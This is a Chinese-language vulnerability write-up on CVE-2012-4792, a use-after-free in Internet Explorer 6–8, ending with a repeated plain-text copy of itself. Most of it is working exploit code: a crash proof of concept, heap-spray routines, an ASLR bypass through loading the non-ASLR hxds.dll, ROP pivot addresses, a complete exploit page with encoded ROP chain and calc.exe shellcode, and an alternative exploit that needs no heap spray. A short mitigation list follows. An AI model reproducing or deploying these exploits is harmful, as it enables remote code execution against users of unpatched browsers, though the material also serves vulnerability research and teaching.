Internet Explorer漏洞分析(五)——CVE-2012-4792
字数 1586 2025-08-05 11:39:35

CVE-2012-4792 Internet Explorer Use-After-Free漏洞分析与利用

1. 漏洞概述

1.1 基本信息

  • 漏洞编号: CVE-2012-4792
  • 漏洞类型: 释放后重用(Use After Free)
  • 影响范围: Microsoft Internet Explorer 6至8版本
  • 漏洞影响: 远程代码执行(RCE)
  • CVSS 2.0评分: 9.3 (高危)
  • 修复方案: MS13-008安全更新

1.2 漏洞原理

mshtml.dll在处理CButton对象时存在缺陷,当释放CButton对象后,没有更新CDoc中Default Element对此地址的引用。导致后续CElement::FindDefaultElem函数会重新获取此已释放的内存地址,传递给CMarkup::OnLoadStatusDone函数使用,造成释放后重用漏洞。

2. 环境准备

2.1 测试环境

  • 操作系统: Windows 7 Service Pack 1 x86
  • IE版本: 8.0.7601.17514
  • 关键DLL版本:
    • mshtml.dll: 8.0.7601.17514
    • jscript.dll: 5.8.7601.17514

2.2 分析工具

  • 调试器(如Windbg)
  • 进程监视工具
  • JavaScript调试工具

3. 漏洞详细分析

3.1 POC分析

基础POC代码如下:

<!doctype html>
<html>
<head>
<script>
function exploit(){
    var e0 = null;
    var e1 = null;
    var e2 = null;
    try {
        e0 = document.getElementById("a");
        e1 = document.createElement("div");
        e2 = document.createElement("q");
        e1.applyElement(e2);
        e1.appendChild(document.createElement('button'));
        e1.applyElement(e0);
        e2.innerHTML = "";
        e2.appendChild(document.createElement('body'));
    } catch(e) { }
    CollectGarbage();
}
</script>
</head>
<body onload="exploit()">
    <form id="a"></form>
</body>
</html>

3.2 关键函数调用流程

  1. DOM元素创建:

    • 创建form、div、q和button元素
    • 使用applyElement建立元素间关系
  2. CTreeNode结构:

    class CTreeNode{
    public:
        CElement * element;
        CTreeNode * parent;
        BYTE _etag; // 0-7: element tag
        BYTE _fFirstCommonAncestorNode : 1;
        BYTE _fInMarkup : 1;
        BYTE _fInMarkupDestruction : 1;
        BYTE _fHasLookasidePtr : 2;
        BYTE _fBlockNess : 1;
        BYTE _fHasLayout : 1;
        BYTE _fUnused : 1;
        SHORT _iPF;
        SHORT _iCF;
        SHORT _iFF;
        CTreePos _tpBegin;
        CTreePos _tpEnd;
        DWORD unknow1;
        DWORD unknow2;
        DWORD unknow3;
    };
    
  3. 漏洞触发过程:

    • e1.appendChild(document.createElement('button')) 将button设为Default Element
    • e2.innerHTML = "" 清空Phrase内元素
    • CollectGarbage() 释放button元素但未更新CDoc中Default Element引用
    • 后续操作使用已释放内存导致崩溃

4. 漏洞利用技术

4.1 Heap Spray技术

4.1.1 内存占位方法

有两种主要方式可以占用已释放的CButton对象内存:

  1. 使用className属性:

    for(var i = 0; i<0x50; i++) {
        arr_button[i]= document.createElement("button");
        arr_button[i].className= junk.substring(0,(0x58-6)/2);
    }
    
  2. 使用title属性:

    for(var i = 0; i<0x50; i++) {
        arr_div[i]= document.createElement("div");
        arr_div[i].title= junk.substring(0,(0x58-6)/2);
    }
    

注意: 实际测试发现需要将(0x58-6)/2改为(0x58-2)/2才能正确占用0x58大小的堆块。

4.1.2 Heap Spray实现

var nops=unescape("%u9090%u9090");
while(nops.length<0x1000) nops+=nops;
var code =unescape("%u4141%u4141%u4141%u4141"); // 替换为实际shellcode
var offset=0x5F4;
var junk_offset=nops.substring(0,0x5F4);
var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
while(shellcode.length<0x40000) {
    shellcode+=shellcode;
}
var block = shellcode.substring(0,0x40000);
var heap_chunks = new Array();
for (var i=1; i < 500; i++) 
    heap_chunks[i] = block.substring(0,0x40000);

4.2 ASLR和DEP绕过

4.2.1 加载非ASLR模块

<SCRIPT language="JavaScript">
    location.href = 'ms-help:'
</SCRIPT>

这会加载hxds.dll(位于C:\Program Files\Common Files\microsoft shared\Help\),该DLL未启用ASLR。

4.2.2 ROP链构造

使用hxds.dll中的gadgets构造ROP链,关键stack pivot地址:

  • 0x51be4a41
  • 0x51bd29c7

4.3 完整利用代码

<!doctype html>
<html>
<head>
<SCRIPT language="JavaScript">
    location.href = 'ms-help:'
</SCRIPT>
<script>
var arr_div = new Array();
var junk=unescape("%u0b30%u0c0c");
while (junk.length < (0x100- 6)/2) { junk+=junk; }

var nops=unescape("%u9090%u9090");
while(nops.length<0x400) nops+=nops;
while(nops.length<0x5f2) nops+=unescape("%ub30e%u51c3");
nops+=unescape("%u198c%u51be");

var code =unescape(
    "%u29c7%u51bd%u34b4%u51bf%u10b8%u51bd%u2d97%u51bd%ucba0%u51bd"+
    "%u79e2%u51c3%u9683%u51c5%u6fbd%u51c5%ufffe%ua17f"+
    "%u1e01%u51c1%u92d8%u51c3%ue67d%u51bf%u6fbd%u51c5"+
    "%ufc3d%ua17f%u1e01%u51c1%u592b%u51bf%ucf3e%u51be"+
    "%ud150%u51c5%uf563%u51be%u7402%u51c0%u6fbd%u51c5"+
    "%u9090%u9090%ua8dc%u51bd"+ //ROP
    "%uc481%uf254%uffff%u2ebf%ue4ed%udbc0%ud9c8%u2474" + //shellcode calc.exe
    "%u58f4%uc933%u33b1%u7831%u0312%u1278%uee83%u06e9" +
    "%u1235%u4f19%ueab6%u30da%u0f3e%u62eb%u4424%ub35e" +
    "%u082e%u3853%ub862%u4ce0%ucfab%ufa41%ufe8d%uca52" +
    "%uac11%u4c91%uaeee%uaec5%u61cf%uae18%u9f08%ue2d3" +
    "%ud4c1%u1346%ua865%u125a%ua7a9%u6ce3%u77cc%uc697" +
    "%ua7cf%u5c08%u5f87%u3a22%u5e38%u58e7%u2904%uab8c" +
    "%ua8fe%ue244%u9bff%ua9a8%u14c1%ub325%u9206%uc6d6" +
    "%ue17c%ud16b%u9846%u54b7%u3a5b%uce33%ubbbf%u8990" +
    "%ub734%udd5d%udb13%u3260%ue728%ub5e9%u6eff%u91a9" +
    "%u2bdb%ubb69%u917a%uc4dc%u7d9d%u6080%u6fd5%u13d5" +
    "%ue5b4%u9128%u40c2%ua92a%ue2cc%u9843%u6d47%u2513" +
    "%uca82%u6feb%u7a8f%u3664%u3f45%uc9e9%u03b3%u4a14" +
    "%ufb36%u52e3%ufe33%ud4a8%u72af%ub0a0%u21cf%u90c1" +
    "%ua4b3%u7851%u431a%u1bd2%u4162");

var offset=0x5F4;
var junk_offset=nops.substring(0,0x5F4);
var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);

while(shellcode.length<0x40000) { shellcode+=shellcode; }
var block = shellcode.substring(0,0x40000);
var heap_chunks = new Array();
for (var i=1; i < 500; i++) heap_chunks[i] = block.substring(0,0x40000);

function helloWorld() {
    var e0 = null;
    var e1 = null;
    var e2 = null;
    try {
        e0 = document.getElementById("a");
        e1 = document.getElementById("b");
        e2 = document.createElement("q");
        e1.applyElement(e2);
        e1.appendChild(document.createElement('button'));
        e1.applyElement(e0);
        e2.outerText = "";
        e2.appendChild(document.createElement('body'));
    } catch(e) { }
    CollectGarbage();
    for(var i = 0; i<0x50; i++) {
        arr_div[i]= document.createElement("div");
        arr_div[i].title= junk.substring(0,(0x58-2)/2);
    }
}
</script>
</head>
<body onload="eval(helloWorld())">
    <form id="a"></form>
    <dfn id="b"></dfn>
</body>
</html>

4.4 非Heap Spray利用方法

来自"Happy New Year Analysis of CVE-2012-4792"的替代方案:

<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function helloWorld() {
    e_form = document.getElementById("formelm");
    e_div = document.getElementById("divelm");
    animvalues = "\u4141\u4141"
    while(animvalues.length < 0xDC) {
        animvalues += animvalues
    }
    for(i = 0; i < 21; i++) {
        animvalues += ";cyan";
    }
    for(i =0; i < 20; i++) {
        document.createElement('button');
    }
    e_div.appendChild(document.createElement('button'))
    e_div.firstChild.applyElement(e_form);
    e_div.innerHTML = ""
    e_div.appendChild(document.createElement('body'));
    CollectGarbage();
    try {
        a = document.getElementById('myanim');
        a.values = animvalues;
    } catch(e) {}
}
</script>
</head>
<body onload="eval(helloWorld())">
    <t:ANIMATECOLOR id="myanim"/>
    <div id="divelm"></div>
    <form id="formelm"></form>
</body>
</html>

5. 防护措施

  1. 官方修复: 安装Microsoft安全更新MS13-008
  2. 缓解措施:
    • 启用增强保护模式(EPM)
    • 启用DEP(数据执行保护)
    • 启用ASLR(地址空间布局随机化)
    • 使用EMET(增强缓解体验工具包)
  3. 临时解决方案: 禁用Active Scripting

6. 参考资料

  1. Microsoft Security Bulletin MS13-008
  2. CVE-2012-4792漏洞公告
  3. Happy New Year Analysis of CVE-2012-4792
  4. MSHTML.dll逆向工程资料
CVE-2012-4792 Internet Explorer Use-After-Free漏洞分析与利用 1. 漏洞概述 1.1 基本信息 漏洞编号 : CVE-2012-4792 漏洞类型 : 释放后重用(Use After Free) 影响范围 : Microsoft Internet Explorer 6至8版本 漏洞影响 : 远程代码执行(RCE) CVSS 2.0评分 : 9.3 (高危) 修复方案 : MS13-008安全更新 1.2 漏洞原理 mshtml.dll在处理CButton对象时存在缺陷,当释放CButton对象后,没有更新CDoc中Default Element对此地址的引用。导致后续CElement::FindDefaultElem函数会重新获取此已释放的内存地址,传递给CMarkup::OnLoadStatusDone函数使用,造成释放后重用漏洞。 2. 环境准备 2.1 测试环境 操作系统 : Windows 7 Service Pack 1 x86 IE版本 : 8.0.7601.17514 关键DLL版本 : mshtml.dll: 8.0.7601.17514 jscript.dll: 5.8.7601.17514 2.2 分析工具 调试器(如Windbg) 进程监视工具 JavaScript调试工具 3. 漏洞详细分析 3.1 POC分析 基础POC代码如下: 3.2 关键函数调用流程 DOM元素创建 : 创建form、div、q和button元素 使用applyElement建立元素间关系 CTreeNode结构 : 漏洞触发过程 : e1.appendChild(document.createElement('button')) 将button设为Default Element e2.innerHTML = "" 清空Phrase内元素 CollectGarbage() 释放button元素但未更新CDoc中Default Element引用 后续操作使用已释放内存导致崩溃 4. 漏洞利用技术 4.1 Heap Spray技术 4.1.1 内存占位方法 有两种主要方式可以占用已释放的CButton对象内存: 使用className属性 : 使用title属性 : 注意 : 实际测试发现需要将 (0x58-6)/2 改为 (0x58-2)/2 才能正确占用0x58大小的堆块。 4.1.2 Heap Spray实现 4.2 ASLR和DEP绕过 4.2.1 加载非ASLR模块 这会加载 hxds.dll (位于 C:\Program Files\Common Files\microsoft shared\Help\ ),该DLL未启用ASLR。 4.2.2 ROP链构造 使用hxds.dll中的gadgets构造ROP链,关键stack pivot地址: 0x51be4a41 0x51bd29c7 4.3 完整利用代码 4.4 非Heap Spray利用方法 来自"Happy New Year Analysis of CVE-2012-4792"的替代方案: 5. 防护措施 官方修复 : 安装Microsoft安全更新MS13-008 缓解措施 : 启用增强保护模式(EPM) 启用DEP(数据执行保护) 启用ASLR(地址空间布局随机化) 使用EMET(增强缓解体验工具包) 临时解决方案 : 禁用Active Scripting 6. 参考资料 Microsoft Security Bulletin MS13-008 CVE-2012-4792漏洞公告 Happy New Year Analysis of CVE-2012-4792 MSHTML.dll逆向工程资料